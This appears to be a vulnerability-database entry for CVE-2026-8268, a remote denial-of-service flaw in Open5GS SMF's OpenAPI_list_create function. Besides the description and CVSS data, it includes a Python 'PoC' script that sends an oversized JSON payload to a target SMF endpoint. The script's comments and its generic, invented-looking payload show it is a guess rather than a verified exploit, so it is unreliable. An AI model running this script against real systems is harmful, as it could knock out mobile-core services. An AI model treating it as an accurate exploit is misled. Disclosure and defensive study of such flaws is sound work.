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CVE-2026-8268 CVSS 4.3 MEDIUM

CVE-2026-8268

Published: 2026-05-11 04:16:20
Last Modified: 2026-05-12 17:20:32

Description

A vulnerability has been found in Open5GS up to 2.7.7. This issue affects the function OpenAPI_list_create of the component SMF. Such manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS <= 2.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-8268 (Open5GS SMF DoS) This script attempts to trigger the denial of service by sending a crafted payload to the SMF OpenAPI endpoint. """ import requests import sys def send_exploit(target_url): headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8268-Scanner" } # Malformed payload targeting OpenAPI_list_create # Adjust parameters based on specific API implementation details payload = { "operation": "create_list", "params": { "size": 999999, # Potential integer overflow or resource exhaustion "name": "A" * 10000 } } try: print(f"[*] Sending exploit payload to {target_url}...") response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[-] Request sent. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Connection error or potential DoS triggered: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <http://target-ip:port>") sys.exit(1) target = sys.argv[1] send_exploit(target)

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